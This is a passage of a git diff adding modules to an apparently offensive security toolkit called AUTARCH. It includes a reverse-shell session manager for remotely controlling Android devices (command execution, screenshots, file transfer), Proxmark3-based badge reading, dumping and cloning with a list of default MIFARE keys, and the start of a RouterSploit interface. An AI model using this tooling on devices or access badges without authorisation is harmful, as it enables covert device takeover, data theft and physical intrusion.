f'{size:.1f} PB' + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, + "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + # ── CLI Interface ──────────────────────────────────────────────────── + + def show_menu(self): + clear_screen() + display_banner() + print(f"{Colors.CYAN}{Colors.BOLD} Reverse Engineering Toolkit{Colors.RESET}") + print(f"{Colors.DIM} Binary analysis, disassembly & YARA scanning{Colors.RESET}") + print(f"{Colors.DIM} {'=' * 50}{Colors.RESET}") + print() + print(f" {Colors.CYAN}[1]{Colors.RESET} Analyze Binary") + print(f" {Colors.CYAN}[2]{Colors.RESET} Disassemble") + print(f" {Colors.CYAN}[3]{Colors.RESET} YARA Scan") + print(f" {Colors.CYAN}[4]{Colors.RESET} Hex Dump") + print(f" {Colors.CYAN}[5]{Colors.RESET} Detect Packer") + print(f" {Colors.CYAN}[6]{Colors.RESET} Compare Binaries") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def cli_analyze(self): + filepath = input(f"{Colors.WHITE} Enter file path: {Colors.RESET}").strip() + if not filepath: + return + result = self.analyze_binary(filepath) + if 'error' in result: + self.print_status(result['error'], 'error') + return + print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}") + print(f" {Colors.BOLD}{result['name']}{Colors.RESET}") + print(f" Type: {result['file_type'].get('type', 'unknown')} | " + f"Arch: {result['architecture']} | Size: {result['size_human']}") + print(f"\n {Colors.CYAN}Hashes:{Colors.RESET}") + for algo, val in result['hashes'].items(): + print(f" {algo.upper():8} {val}") + print(f"\n {Colors.CYAN}Entropy:{Colors.RESET} {result['entropy']} ({result['entropy_level']})") + if result['section_entropy']: + for s in result['section_entropy']: + bar = '#' * int(s['entropy'] * 3) + color = Colors.RED if s['entropy'] > 7.0 else (Colors.YELLOW if s['entropy'] > 6.0 else Colors.GREEN) + print(f" {s['name']:12} {color}{s['entropy']:.2f}{Colors.RESET} {bar}") + print(f"\n {Colors.CYAN}Strings:{Colors.RESET} {result['strings_count']} found") + if result['packer']['detected']: + print(f"\n {Colors.RED}Packer Detected:{Colors.RESET}") + for d in result['packer']['detections']: + print(f" {d['packer']} (confidence: {d['confidence']}%)") + + def cli_disassemble(self): + filepath = input(f"{Colors.WHITE} Enter file path: {Colors.RESET}").strip() + if not filepath: + return + section = input(f"{Colors.WHITE} Section [.text]: {Colors.RESET}").strip() or '.text' + count = input(f"{Colors.WHITE} Instruction count [50]: {Colors.RESET}").strip() or '50' + try: + count = int(count) + except ValueError: + count = 50 + + results = self.disassemble_file(filepath, section=section, count=count) + if results and 'error' in results[0]: + self.print_status(results[0]['error'], 'error') + return + print(f"\n{Colors.CYAN}{'Address':<14} {'Bytes':<24} {'Mnemonic':<10} {'Operands'}{Colors.RESET}") + print(f"{'-' * 70}") + for inst in results: + print(f" {inst['address']:<12} {inst.get('bytes_hex', ''):<22} " + f"{Colors.CYAN}{inst['mnemonic']:<10}{Colors.RESET} {inst.get('op_str', '')}") + + def cli_yara_scan(self): + filepath = input(f"{Colors.WHITE} Enter file path to scan: {Colors.RESET}").strip() + if not filepath: + return + rules_path = input(f"{Colors.WHITE} YARA rules file (or Enter for all): {Colors.RESET}").strip() or None + result = self.yara_scan(filepath, rules_path=rules_path) + if 'error' in result and result['error']: + self.print_status(result['error'], 'error') + if result.get('matches'): + print(f"\n {Colors.RED}Matches: {result['total']}{Colors.RESET}") + for m in result['matches']: + print(f" Rule: {m['rule']}") + for s in m.get('strings', [])[:5]: + print(f" 0x{s.get('offset', 0):08x}: {s.get('identifier', '')} = {s.get('data', '')}") + else: + self.print_status("No matches found", "info") + + def cli_hex_dump(self): + filepath = input(f"{Colors.WHITE} Enter file path: {Colors.RESET}").strip() + if not filepath: + return + offset = input(f"{Colors.WHITE} Offset [0]: {Colors.RESET}").strip() or '0' + length = input(f"{Colors.WHITE} Length [256]: {Colors.RESET}").strip() or '256' + try: + offset = int(offset, 0) + length = int(length, 0) + except ValueError: + self.print_status("Invalid offset or length", "error") + return + result = self.hex_dump(filepath, offset, length) + if 'error' in result: + self.print_status(result['error'], 'error') + return + print(f"\n{Colors.CYAN}{result['text']}{Colors.RESET}") + + def cli_detect_packer(self): + filepath = input(f"{Colors.WHITE} Enter file path: {Colors.RESET}").strip() + if not filepath: + return + result = self.detect_packer(filepath) + if 'error' in result: + self.print_status(result['error'], 'error') + return + if result['detected']: + print(f"\n {Colors.RED}Packer(s) Detected:{Colors.RESET}") + for d in result['detections']: + print(f" {d['packer']} — confidence {d['confidence']}%") + print(f" {d['description']}") + for e in d.get('evidence', []): + print(f" {e}") + else: + self.print_status("No packer detected", "success") + print(f" Entropy: {result.get('overall_entropy', 0):.4f}") + + def cli_compare(self): + file1 = input(f"{Colors.WHITE} First file: {Colors.RESET}").strip() + file2 = input(f"{Colors.WHITE} Second file: {Colors.RESET}").strip() + if not file1 or not file2: + return + result = self.compare_binaries(file1, file2) + if 'error' in result: + self.print_status(result['error'], 'error') + return + f1, f2 = result['file1'], result['file2'] + print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}") + print(f" File 1: {f1['name']} ({f1['size']:,} bytes, entropy {f1['entropy']:.2f})") + print(f" File 2: {f2['name']} ({f2['size']:,} bytes, entropy {f2['entropy']:.2f})") + if result['identical']: + self.print_status("Files are identical", "success") + else: + print(f"\n {Colors.YELLOW}Different bytes: {result['diff_bytes']:,} ({result['diff_percentage']}%){Colors.RESET}") + print(f" Diff regions: {result['diff_regions_total']}") + for sd in result.get('section_diffs', []): + status_color = Colors.RED if sd['status'] != 'unchanged' else Colors.GREEN + print(f" {sd['name']:16} {status_color}{sd['status']}{Colors.RESET}") + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + if choice == "0": + break + elif choice == "1": + self.cli_analyze() + elif choice == "2": + self.cli_disassemble() + elif choice == "3": + self.cli_yara_scan() + elif choice == "4": + self.cli_hex_dump() + elif choice == "5": + self.cli_detect_packer() + elif choice == "6": + self.cli_compare() + + if choice in ["1", "2", "3", "4", "5", "6"]: + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_reverse_eng() -> ReverseEngineer: + global _instance + if _instance is None: + _instance = ReverseEngineer() + return _instance + + +def run(): + get_reverse_eng().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/revshell.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/revshell.py new file mode 100644 index 0000000..997dbf6 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/revshell.py @@ -0,0 +1,365 @@ +""" +Reverse Shell Manager - Manage incoming reverse shell connections from Archon companion app. +Control the RevShell listener, manage sessions, execute commands, transfer files. +""" + +DESCRIPTION = "Reverse Shell — remote device management via Archon" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).parent.parent)) + + +class RevShellManager: + """Interactive reverse shell management menu.""" + + def __init__(self): + from core.revshell import get_listener + self._get_listener = get_listener + + @property + def listener(self): + return self._get_listener() + + def show_menu(self): + li = self.listener + sessions = li.list_sessions() + alive = [s for s in sessions if s.get('alive', False)] + + print(f"\n{'='*55}") + print(" Reverse Shell Manager") + print(f"{'='*55}") + print(f" Listener: {'RUNNING on ' + str(li.host) + ':' + str(li.port) if li.running else 'Stopped'}") + print(f" Sessions: {len(alive)} active, {len(sessions)} total") + if li.running: + print(f" Token: {li.auth_token}") + print() + print(" -- Listener --") + print(" 1) Start Listener") + print(" 2) Stop Listener") + print(" 3) Listener Status") + print() + print(" -- Sessions --") + print(" 10) List Sessions") + print(" 11) Select Session (interactive shell)") + print(" 12) Execute Command") + print(" 13) Disconnect Session") + print() + print(" -- Device Info --") + print(" 20) System Info") + print(" 21) Installed Packages") + print(" 22) Running Processes") + print(" 23) Network Connections") + print(" 24) Logcat Output") + print() + print(" -- Capture --") + print(" 30) Take Screenshot") + print(" 31) Download File") + print(" 32) Upload File") + print() + print(" 0) Back") + print() + + # ── Helpers ───────────────────────────────────────────────────── + + def _pick_session(self, prompt=" Select session #: "): + """Let user pick a session from the list.""" + sessions = self.listener.list_sessions() + alive = [s for s in sessions if s.get('alive', False)] + if not alive: + print(" No active sessions.") + return None + print("\n Active Sessions:") + for i, s in enumerate(alive, 1): + uptime_m = s.get('uptime', 0) // 60 + print(f" {i}) [{s['session_id'][:8]}] {s['device']} " + f"(Android {s['android']}, UID {s['uid']}) — {uptime_m}m") + try: + choice = int(input(prompt).strip()) + if 1 <= choice <= len(alive): + return alive[choice - 1]['session_id'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + return None + + def _get_session_obj(self, sid): + """Get the actual session object.""" + session = self.listener.get_session(sid) + if not session or not session.alive: + print(f" Session {sid} not found or dead.") + return None + return session + + # ── Listener ──────────────────────────────────────────────────── + + def do_start(self): + if self.listener.running: + print(" Listener already running.") + return + try: + host = input(f" Bind address [0.0.0.0]: ").strip() or '0.0.0.0' + port_s = input(f" Port [17322]: ").strip() or '17322' + token = input(f" Auth token (blank=random): ").strip() or None + except (EOFError, KeyboardInterrupt): + return + + from core.revshell import start_listener + ok, msg = start_listener(host=host, port=int(port_s), token=token) + if ok: + print(f" {msg}") + print(f" Token: {self.listener.auth_token}") + else: + print(f" Error: {msg}") + + def do_stop(self): + if not self.listener.running: + print(" Listener not running.") + return + from core.revshell import stop_listener + stop_listener() + print(" Listener stopped.") + + def do_status(self): + li = self.listener + print(f"\n Listener Status:") + print(f" Running: {li.running}") + print(f" Host: {li.host}") + print(f" Port: {li.port}") + print(f" Token: {li.auth_token}") + sessions = li.list_sessions() + alive = [s for s in sessions if s.get('alive', False)] + print(f" Sessions: {len(alive)} active, {len(sessions)} total") + + # ── Sessions ──────────────────────────────────────────────────── + + def do_list_sessions(self): + sessions = self.listener.list_sessions() + if not sessions: + print("\n No sessions.") + return + print(f"\n {'ID':<14} {'Device':<20} {'Android':<10} {'UID':<6} {'Uptime':<10} {'Cmds':<6} {'Status'}") + print(f" {'-'*80}") + for s in sessions: + uptime_m = s.get('uptime', 0) // 60 + status = 'ALIVE' if s.get('alive') else 'DEAD' + print(f" {s['session_id']:<14} {s['device']:<20} {s['android']:<10} " + f"{s['uid']:<6} {uptime_m}m{'':<7} {s.get('commands_executed', 0):<6} {status}") + + def do_interactive_shell(self): + sid = self._pick_session() + if not sid: + return + session = self._get_session_obj(sid) + if not session: + return + + print(f"\n Interactive shell — {session.device_name} (Android {session.android_version})") + print(f" Type 'exit' or Ctrl+C to leave.\n") + + while session.alive: + try: + cmd = input(f" {session.device_name}$ ").strip() + except (EOFError, KeyboardInterrupt): + print() + break + if not cmd: + continue + if cmd.lower() in ('exit', 'quit'): + break + + result = session.execute(cmd, timeout=30) + if result['stdout']: + for line in result['stdout'].rstrip('\n').split('\n'): + print(f" {line}") + if result['stderr']: + for line in result['stderr'].rstrip('\n').split('\n'): + print(f" [stderr] {line}") + if result['exit_code'] != 0: + print(f" [exit code: {result['exit_code']}]") + + def do_execute_command(self): + sid = self._pick_session() + if not sid: + return + session = self._get_session_obj(sid) + if not session: + return + try: + cmd = input(" Command: ").strip() + timeout_s = input(" Timeout [30]: ").strip() or '30' + except (EOFError, KeyboardInterrupt): + return + if not cmd: + return + + print(f" Executing on {session.device_name}...") + result = session.execute(cmd, timeout=int(timeout_s)) + if result['stdout']: + print(f"\n --- stdout ---") + for line in result['stdout'].rstrip('\n').split('\n'): + print(f" {line}") + if result['stderr']: + print(f"\n --- stderr ---") + for line in result['stderr'].rstrip('\n').split('\n'): + print(f" {line}") + print(f"\n Exit code: {result['exit_code']}") + + def do_disconnect_session(self): + sid = self._pick_session(" Session to disconnect #: ") + if not sid: + return + self.listener.remove_session(sid) + print(f" Session {sid} disconnected.") + + # ── Device Info ───────────────────────────────────────────────── + + def _run_special(self, label, method_name, **kwargs): + sid = self._pick_session() + if not sid: + return + session = self._get_session_obj(sid) + if not session: + return + print(f" Fetching {label} from {session.device_name}...") + method = getattr(session, method_name) + result = method(**kwargs) + if result.get('exit_code', -1) == 0: + output = result.get('stdout', '') + if output: + for line in output.rstrip('\n').split('\n'): + print(f" {line}") + else: + print(f" (no output)") + else: + print(f" Error: {result.get('stderr', 'Failed')}") + + def do_sysinfo(self): + self._run_special("system info", "sysinfo") + + def do_packages(self): + self._run_special("packages", "packages") + + def do_processes(self): + self._run_special("processes", "processes") + + def do_netstat(self): + self._run_special("network connections", "netstat") + + def do_logcat(self): + try: + lines = input(" Lines [100]: ").strip() or '100' + except (EOFError, KeyboardInterrupt): + return + sid = self._pick_session() + if not sid: + return + session = self._get_session_obj(sid) + if not session: + return + print(f" Fetching logcat ({lines} lines) from {session.device_name}...") + result = session.dumplog(lines=int(lines)) + if result.get('exit_code', -1) == 0: + output = result.get('stdout', '') + if output: + for line in output.rstrip('\n').split('\n'): + print(f" {line}") + else: + print(f" Error: {result.get('stderr', 'Failed')}") + + # ── Capture ───────────────────────────────────────────────────── + + def do_screenshot(self): + sid = self._pick_session() + if not sid: + return + print(f" Taking screenshot...") + filepath = self.listener.save_screenshot(sid) + if filepath: + print(f" Saved: {filepath}") + else: + print(f" Screenshot failed.") + + def do_download(self): + sid = self._pick_session() + if not sid: + return + try: + remote_path = input(" Remote file path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not remote_path: + return + print(f" Downloading {remote_path}...") + filepath = self.listener.save_download(sid, remote_path) + if filepath: + print(f" Saved: {filepath}") + else: + print(f" Download failed.") + + def do_upload(self): + sid = self._pick_session() + if not sid: + return + try: + local_path = input(" Local file path: ").strip() + remote_path = input(" Remote destination: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not local_path or not remote_path: + return + if not Path(local_path).exists(): + print(f" Local file not found: {local_path}") + return + + session = self._get_session_obj(sid) + if not session: + return + print(f" Uploading to {remote_path}...") + result = session.upload(local_path, remote_path) + if result.get('exit_code', -1) == 0: + print(f" Upload complete.") + else: + print(f" Error: {result.get('stderr', 'Failed')}") + + # ── Main Loop ────────────────────────────────────────────────── + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + + actions = { + '1': self.do_start, + '2': self.do_stop, + '3': self.do_status, + '10': self.do_list_sessions, + '11': self.do_interactive_shell, + '12': self.do_execute_command, + '13': self.do_disconnect_session, + '20': self.do_sysinfo, + '21': self.do_packages, + '22': self.do_processes, + '23': self.do_netstat, + '24': self.do_logcat, + '30': self.do_screenshot, + '31': self.do_download, + '32': self.do_upload, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + mgr = RevShellManager() + mgr.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rfid_tools.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rfid_tools.py new file mode 100644 index 0000000..70166b7 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rfid_tools.py @@ -0,0 +1,455 @@ +"""AUTARCH RFID/NFC Tools + +Proxmark3 integration, badge cloning, NFC read/write, MIFARE operations, +and card analysis for physical access security testing. +""" + +DESCRIPTION = "RFID/NFC badge cloning & analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import shutil +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Card Types ─────────────────────────────────────────────────────────────── + +CARD_TYPES = { + 'em410x': {'name': 'EM410x', 'frequency': '125 kHz', 'category': 'LF'}, + 'hid_prox': {'name': 'HID ProxCard', 'frequency': '125 kHz', 'category': 'LF'}, + 't5577': {'name': 'T5577', 'frequency': '125 kHz', 'category': 'LF', 'writable': True}, + 'mifare_classic_1k': {'name': 'MIFARE Classic 1K', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_classic_4k': {'name': 'MIFARE Classic 4K', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_ultralight': {'name': 'MIFARE Ultralight', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_desfire': {'name': 'MIFARE DESFire', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'ntag213': {'name': 'NTAG213', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'ntag215': {'name': 'NTAG215', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'ntag216': {'name': 'NTAG216', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'iclass': {'name': 'iCLASS', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'iso14443a': {'name': 'ISO 14443A', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'iso15693': {'name': 'ISO 15693', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'legic': {'name': 'LEGIC', 'frequency': '13.56 MHz', 'category': 'HF'}, +} + +MIFARE_DEFAULT_KEYS = [ + 'FFFFFFFFFFFF', 'A0A1A2A3A4A5', 'D3F7D3F7D3F7', + '000000000000', 'B0B1B2B3B4B5', '4D3A99C351DD', + '1A982C7E459A', 'AABBCCDDEEFF', '714C5C886E97', + '587EE5F9350F', 'A0478CC39091', '533CB6C723F6', +] + + +# ── RFID Manager ───────────────────────────────────────────────────────────── + +class RFIDManager: + """RFID/NFC tool management via Proxmark3 and nfc-tools.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'rfid') + os.makedirs(self.data_dir, exist_ok=True) + self.dumps_dir = os.path.join(self.data_dir, 'dumps') + os.makedirs(self.dumps_dir, exist_ok=True) + + # Tool discovery + self.pm3_client = find_tool('pm3') or find_tool('proxmark3') or shutil.which('pm3') or shutil.which('proxmark3') + self.nfc_list = shutil.which('nfc-list') + self.nfc_poll = shutil.which('nfc-poll') + self.nfc_mfclassic = shutil.which('nfc-mfclassic') + + self.cards: List[Dict] = [] + self.last_read: Optional[Dict] = None + + def get_tools_status(self) -> Dict: + """Check available tools.""" + return { + 'proxmark3': self.pm3_client is not None, + 'nfc-list': self.nfc_list is not None, + 'nfc-mfclassic': self.nfc_mfclassic is not None, + 'card_types': len(CARD_TYPES), + 'saved_cards': len(self.cards) + } + + # ── Proxmark3 Commands ─────────────────────────────────────────────── + + def _pm3_cmd(self, command: str, timeout: int = 15) -> Dict: + """Execute Proxmark3 command.""" + if not self.pm3_client: + return {'ok': False, 'error': 'Proxmark3 client not found'} + + try: + result = subprocess.run( + [self.pm3_client, '-c', command], + capture_output=True, text=True, timeout=timeout + ) + return { + 'ok': result.returncode == 0, + 'stdout': result.stdout, + 'stderr': result.stderr + } + except subprocess.TimeoutExpired: + return {'ok': False, 'error': f'Command timed out: {command}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Low Frequency (125 kHz) ────────────────────────────────────────── + + def lf_search(self) -> Dict: + """Search for LF (125 kHz) cards.""" + result = self._pm3_cmd('lf search') + if not result['ok']: + return result + + output = result['stdout'] + card = {'frequency': '125 kHz', 'category': 'LF'} + + # Parse EM410x + em_match = re.search(r'EM\s*410x.*?ID[:\s]*([A-Fa-f0-9]+)', output, re.I) + if em_match: + card['type'] = 'em410x' + card['id'] = em_match.group(1) + card['name'] = 'EM410x' + + # Parse HID + hid_match = re.search(r'HID.*?Card.*?([A-Fa-f0-9]+)', output, re.I) + if hid_match: + card['type'] = 'hid_prox' + card['id'] = hid_match.group(1) + card['name'] = 'HID ProxCard' + + if 'id' in card: + card['raw_output'] = output + self.last_read = card + return {'ok': True, 'card': card} + + return {'ok': False, 'error': 'No LF card found', 'raw': output} + + def lf_read_em410x(self) -> Dict: + """Read EM410x card.""" + result = self._pm3_cmd('lf em 410x reader') + if not result['ok']: + return result + + match = re.search(r'EM\s*410x\s+ID[:\s]*([A-Fa-f0-9]+)', result['stdout'], re.I) + if match: + card = { + 'type': 'em410x', 'id': match.group(1), + 'name': 'EM410x', 'frequency': '125 kHz' + } + self.last_read = card + return {'ok': True, 'card': card} + return {'ok': False, 'error': 'Could not read EM410x', 'raw': result['stdout']} + + def lf_clone_em410x(self, card_id: str) -> Dict: + """Clone EM410x ID to T5577 card.""" + result = self._pm3_cmd(f'lf em 410x clone --id {card_id}') + return { + 'ok': 'written' in result.get('stdout', '').lower() or result['ok'], + 'message': f'Cloned EM410x ID {card_id}' if result['ok'] else result.get('error', ''), + 'raw': result.get('stdout', '') + } + + def lf_sim_em410x(self, card_id: str) -> Dict: + """Simulate EM410x card.""" + result = self._pm3_cmd(f'lf em 410x sim --id {card_id}', timeout=30) + return { + 'ok': result['ok'], + 'message': f'Simulating EM410x ID {card_id}', + 'raw': result.get('stdout', '') + } + + # ── High Frequency (13.56 MHz) ─────────────────────────────────────── + + def hf_search(self) -> Dict: + """Search for HF (13.56 MHz) cards.""" + result = self._pm3_cmd('hf search') + if not result['ok']: + return result + + output = result['stdout'] + card = {'frequency': '13.56 MHz', 'category': 'HF'} + + # Parse UID + uid_match = re.search(r'UID[:\s]*([A-Fa-f0-9\s]+)', output, re.I) + if uid_match: + card['uid'] = uid_match.group(1).replace(' ', '').strip() + + # Parse ATQA/SAK + atqa_match = re.search(r'ATQA[:\s]*([A-Fa-f0-9\s]+)', output, re.I) + if atqa_match: + card['atqa'] = atqa_match.group(1).strip() + sak_match = re.search(r'SAK[:\s]*([A-Fa-f0-9]+)', output, re.I) + if sak_match: + card['sak'] = sak_match.group(1).strip() + + # Detect type + if 'mifare classic 1k' in output.lower(): + card['type'] = 'mifare_classic_1k' + card['name'] = 'MIFARE Classic 1K' + elif 'mifare classic 4k' in output.lower(): + card['type'] = 'mifare_classic_4k' + card['name'] = 'MIFARE Classic 4K' + elif 'ultralight' in output.lower() or 'ntag' in output.lower(): + card['type'] = 'mifare_ultralight' + card['name'] = 'MIFARE Ultralight/NTAG' + elif 'desfire' in output.lower(): + card['type'] = 'mifare_desfire' + card['name'] = 'MIFARE DESFire' + elif 'iso14443' in output.lower(): + card['type'] = 'iso14443a' + card['name'] = 'ISO 14443A' + + if 'uid' in card: + card['raw_output'] = output + self.last_read = card + return {'ok': True, 'card': card} + + return {'ok': False, 'error': 'No HF card found', 'raw': output} + + def hf_dump_mifare(self, keys_file: str = None) -> Dict: + """Dump MIFARE Classic card data.""" + cmd = 'hf mf autopwn' + if keys_file: + cmd += f' -f {keys_file}' + + result = self._pm3_cmd(cmd, timeout=120) + if not result['ok']: + return result + + output = result['stdout'] + + # Look for dump file + dump_match = re.search(r'saved.*?(\S+\.bin)', output, re.I) + if dump_match: + dump_file = dump_match.group(1) + # Copy to our dumps directory + dest = os.path.join(self.dumps_dir, Path(dump_file).name) + if os.path.exists(dump_file): + shutil.copy2(dump_file, dest) + + return { + 'ok': True, + 'dump_file': dest, + 'message': 'MIFARE dump complete', + 'raw': output + } + + # Check for found keys + keys = re.findall(r'key\s*[AB][:\s]*([A-Fa-f0-9]{12})', output, re.I) + if keys: + return { + 'ok': True, + 'keys_found': list(set(keys)), + 'message': f'Found {len(set(keys))} keys', + 'raw': output + } + + return {'ok': False, 'error': 'Dump failed', 'raw': output} + + def hf_clone_mifare(self, dump_file: str) -> Dict: + """Write MIFARE dump to blank card.""" + result = self._pm3_cmd(f'hf mf restore -f {dump_file}', timeout=60) + return { + 'ok': 'restored' in result.get('stdout', '').lower() or result['ok'], + 'message': 'Card cloned' if result['ok'] else 'Clone failed', + 'raw': result.get('stdout', '') + } + + # ── NFC Operations (via libnfc) ────────────────────────────────────── + + def nfc_scan(self) -> Dict: + """Scan for NFC tags using libnfc.""" + if not self.nfc_list: + return {'ok': False, 'error': 'nfc-list not found (install libnfc)'} + + try: + result = subprocess.run( + [self.nfc_list], capture_output=True, text=True, timeout=10 + ) + tags = [] + for line in result.stdout.splitlines(): + uid_match = re.search(r'UID.*?:\s*([A-Fa-f0-9\s:]+)', line, re.I) + if uid_match: + tags.append({ + 'uid': uid_match.group(1).replace(' ', '').replace(':', ''), + 'raw': line.strip() + }) + return {'ok': True, 'tags': tags, 'count': len(tags)} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Card Database ──────────────────────────────────────────────────── + + def save_card(self, card: Dict, name: str = None) -> Dict: + """Save card data to database.""" + card['saved_at'] = datetime.now(timezone.utc).isoformat() + card['display_name'] = name or card.get('name', 'Unknown Card') + # Remove raw output to save space + card.pop('raw_output', None) + self.cards.append(card) + self._save_cards() + return {'ok': True, 'count': len(self.cards)} + + def get_saved_cards(self) -> List[Dict]: + """List saved cards.""" + return self.cards + + def delete_card(self, index: int) -> Dict: + """Delete saved card by index.""" + if 0 <= index < len(self.cards): + self.cards.pop(index) + self._save_cards() + return {'ok': True} + return {'ok': False, 'error': 'Invalid index'} + + def _save_cards(self): + cards_file = os.path.join(self.data_dir, 'cards.json') + with open(cards_file, 'w') as f: + json.dump(self.cards, f, indent=2) + + def _load_cards(self): + cards_file = os.path.join(self.data_dir, 'cards.json') + if os.path.exists(cards_file): + try: + with open(cards_file) as f: + self.cards = json.load(f) + except Exception: + pass + + def list_dumps(self) -> List[Dict]: + """List saved card dumps.""" + dumps = [] + for f in Path(self.dumps_dir).iterdir(): + if f.is_file(): + dumps.append({ + 'name': f.name, 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return dumps + + def get_default_keys(self) -> List[str]: + """Return common MIFARE default keys.""" + return MIFARE_DEFAULT_KEYS + + def get_card_types(self) -> Dict: + """Return supported card type info.""" + return CARD_TYPES + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_rfid_manager() -> RFIDManager: + global _instance + if _instance is None: + _instance = RFIDManager() + _instance._load_cards() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for RFID/NFC module.""" + mgr = get_rfid_manager() + + while True: + tools = mgr.get_tools_status() + print(f"\n{'='*60}") + print(f" RFID / NFC Tools") + print(f"{'='*60}") + print(f" Proxmark3: {'OK' if tools['proxmark3'] else 'NOT FOUND'}") + print(f" libnfc: {'OK' if tools['nfc-list'] else 'NOT FOUND'}") + print(f" Saved cards: {tools['saved_cards']}") + print() + print(" 1 — LF Search (125 kHz)") + print(" 2 — HF Search (13.56 MHz)") + print(" 3 — Read EM410x") + print(" 4 — Clone EM410x to T5577") + print(" 5 — Dump MIFARE Classic") + print(" 6 — Clone MIFARE from Dump") + print(" 7 — NFC Scan (libnfc)") + print(" 8 — Saved Cards") + print(" 9 — Card Dumps") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + result = mgr.lf_search() + if result['ok']: + c = result['card'] + print(f" Found: {c.get('name', '?')} ID: {c.get('id', '?')}") + else: + print(f" {result.get('error', 'No card found')}") + elif choice == '2': + result = mgr.hf_search() + if result['ok']: + c = result['card'] + print(f" Found: {c.get('name', '?')} UID: {c.get('uid', '?')}") + else: + print(f" {result.get('error', 'No card found')}") + elif choice == '3': + result = mgr.lf_read_em410x() + if result['ok']: + print(f" EM410x ID: {result['card']['id']}") + save = input(" Save card? (y/n): ").strip() + if save.lower() == 'y': + mgr.save_card(result['card']) + else: + print(f" {result['error']}") + elif choice == '4': + card_id = input(" EM410x ID to clone: ").strip() + if card_id: + result = mgr.lf_clone_em410x(card_id) + print(f" {result.get('message', result.get('error'))}") + elif choice == '5': + result = mgr.hf_dump_mifare() + if result['ok']: + print(f" {result['message']}") + if 'keys_found' in result: + for k in result['keys_found']: + print(f" Key: {k}") + else: + print(f" {result['error']}") + elif choice == '6': + dump = input(" Dump file path: ").strip() + if dump: + result = mgr.hf_clone_mifare(dump) + print(f" {result['message']}") + elif choice == '7': + result = mgr.nfc_scan() + if result['ok']: + print(f" Found {result['count']} tags:") + for t in result['tags']: + print(f" UID: {t['uid']}") + else: + print(f" {result['error']}") + elif choice == '8': + cards = mgr.get_saved_cards() + for i, c in enumerate(cards): + print(f" [{i}] {c.get('display_name', '?')} " + f"{c.get('type', '?')} ID={c.get('id', c.get('uid', '?'))}") + elif choice == '9': + for d in mgr.list_dumps(): + print(f" {d['name']} ({d['size']} bytes)") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rsf.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rsf.py new file mode 100644 index 0000000..5750751 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/rsf.py @@ -0,0 +1,1031 @@ +""" +AUTARCH RouterSploit Module +Interface for RouterSploit Framework with module browser. + +Provides easy access to RSF modules for IoT/embedded device testing. +Uses the RSF interface from core/rsf_interface.py. +Integrates with rsf_terms.py and rsf_modules.py for descriptions. +""" + +import sys +import socket +from pathlib import Path +from typing import Optional + +# Module metadata +DESCRIPTION = "RouterSploit Framework interface" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.rsf_interface import get_rsf_interface, RSFStatus +from core.rsf import get_rsf_manager, RSFError +from core.banner import Colors, clear_screen, display_banner +from core.rsf_terms import ( + get_setting_info, get_setting_prompt, format_setting_help, validate_setting_value +) 